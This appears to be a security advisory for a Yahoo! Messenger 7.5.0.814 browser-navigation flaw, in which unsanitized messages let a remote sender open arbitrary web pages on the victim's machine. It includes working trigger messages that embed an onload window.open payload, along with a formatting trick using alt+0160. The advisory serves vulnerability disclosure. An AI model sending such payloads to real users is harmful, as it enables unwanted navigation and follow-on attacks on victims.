source: http://www.securityfocus.com/bid/19211/info

Yahoo! Messenger is prone to a browser-navigation vulnerability that may permit a remote attacker to open a browser window on the victim user's computer to an arbitrary page.

This issue occurs because the application fails to sanitize malicious messages.

An attacker may be able to exploit this issue to execute a web browser and load an arbitrary web page. This may lead to other attacks.

This issue affects version 7.5.0.814; other versions may also be vulnerable.

The following examples are sufficient to trigger this issue:

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

Note: "helomsg :" this space must be created with
alt+0160 and this "s: " with a space.